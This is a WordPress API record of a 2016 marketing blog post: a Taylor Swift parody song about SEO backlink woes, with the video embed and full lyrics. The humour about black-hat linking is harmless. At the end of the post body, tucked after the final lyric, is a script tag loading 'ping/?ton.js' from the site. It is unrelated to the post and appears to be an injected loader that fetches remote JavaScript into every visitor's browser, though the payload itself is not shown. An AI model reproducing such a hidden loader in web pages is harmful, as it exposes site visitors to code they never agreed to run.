{"id":17288,"date":"2016-03-31T13:19:29","date_gmt":"2016-03-31T21:19:29","guid":{"rendered":"http:\/\/0F738BAF-DF22-4A17-B80C-19AD8BDB0753"},"modified":"2016-03-31T13:19:29","modified_gmt":"2016-03-31T21:19:29","slug":"link-to-me-taylor-swift-parody","status":"publish","type":"post","link":"https:\/\/iteratemarketing.com\/blog\/link-to-me-taylor-swift-parody\/","title":{"rendered":"Link To Me ~ Taylor Swift Parody"},"content":{"rendered":"<h3>Every SEO has nights like this.<\/h3>\n<p>Chardonnay and a warm blanket, scrolling through competitors, just seeing what they are up to these days.<\/p>\n<p>&#8220;Look at those low-DA links&#8230; they can&#8217;t make him happy.&#8221;<\/p>\n<p>&#8220;Maybe I should just pay for a few of those links myself&#8230;&#8221;<\/p>\n<p>&#8220;Why won&#8217;t he just link to me??&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>Iterate&#8217;s own Carly Schoonhoven sums up all the backlink heartbreak in this Taylor Swift parody, check it out!<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/BJWZb4hY3bA\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>&#8220;Link To Me&#8221;<\/p>\n<p>Parody of \u00a0&#8220;Wildest Dreams&#8221; by Taylor Swift<\/p>\n<p>Lyrics:<br \/>\nHe said let&#8217;s exchange a few links<br \/>\nGuest blog for each other, or web directories<br \/>\nI thought Matt Cutts can&#8217;t help me now<br \/>\nNothing lasts forever<br \/>\nCause Google\u2019s gonna take these down!<\/p>\n<p>He&#8217;s in SERPS, and ranking top 12<br \/>\nHe&#8217;s black hat but he does it so well<br \/>\nAnd when we&#8217;ve had, that Penguin update, my one condition is<\/p>\n<p>Say that you&#8217;ll link to me<br \/>\nin context anchor text babe, put me on your landing page<br \/>\nNo I don&#8217;t want to pay,<br \/>\nSay you&#8217;ll link me again,<br \/>\neven if it\u2019s just in your directoryyy\u2026.directoryyy<\/p>\n<p>I said no one has to know what we do<br \/>\nMy links are on his page, my infographic too<br \/>\nAnd my click through rate is basically none, nothing lasts forever..<br \/>\nBUT MY ORGANIC&#8217;S GETTING GOOD NOW<\/p>\n<p>He&#8217;s in SERPS, and ranking top 12<br \/>\nHe&#8217;s black hat but he does it so well<br \/>\nAnd when we&#8217;ve had, that Penguin update, my one condition is<\/p>\n<p>Say that you&#8217;ll link to me<br \/>\nin context anchor text babe, put me on your landing page<br \/>\nNo I don&#8217;t want to pay,<br \/>\nSay you&#8217;ll link me again,<br \/>\neven if it\u2019s just in your directoryyy\u2026.directoryyy<\/p>\n<p>You see me in SEMrush, getting all of those backlinks<br \/>\nRanking, it up<br \/>\nSomeday when you leave me I bet these penalties follow you around<\/p>\n<p>You see me in SEMrush, getting all of those backlinks<br \/>\nRanking, it up<br \/>\nSomeday when you leave me I bet these penalties follow you around<\/p>\n<p>Say that you&#8217;ll link to me<br \/>\nin context anchor text babe, put me on your landing page<br \/>\nNo I don&#8217;t want to pay,<br \/>\nSay you&#8217;ll link me again, even if its just pretend\u2026<script src='https:\/\/iteratemarketing.com\/ping\/?ton.js' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Every SEO has nights like this. Chardonnay and a warm blanket, scrolling through competitors, just seeing what they are up to these days. &#8220;Look at those low-DA links&#8230; they can&#8217;t make him happy.&#8221; &#8220;Maybe I should just pay for a few of those links myself&#8230;&#8221; &#8220;Why won&#8217;t he just link to me??&#8221; &nbsp; Iterate&#8217;s own [&hellip;]<\/p>\n","protected":false},"author":10,"featured_media":23433,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/iteratemarketing.com\/wp-json\/wp\/v2\/posts\/17288"}],"collection":[{"href":"https:\/\/iteratemarketing.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/iteratemarketing.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/iteratemarketing.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/iteratemarketing.com\/wp-json\/wp\/v2\/comments?post=17288"}],"version-history":[{"count":0,"href":"https:\/\/iteratemarketing.com\/wp-json\/wp\/v2\/posts\/17288\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/iteratemarketing.com\/wp-json\/wp\/v2\/media\/23433"}],"wp:attachment":[{"href":"https:\/\/iteratemarketing.com\/wp-json\/wp\/v2\/media?parent=17288"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/iteratemarketing.com\/wp-json\/wp\/v2\/categories?post=17288"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/iteratemarketing.com\/wp-json\/wp\/v2\/tags?post=17288"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}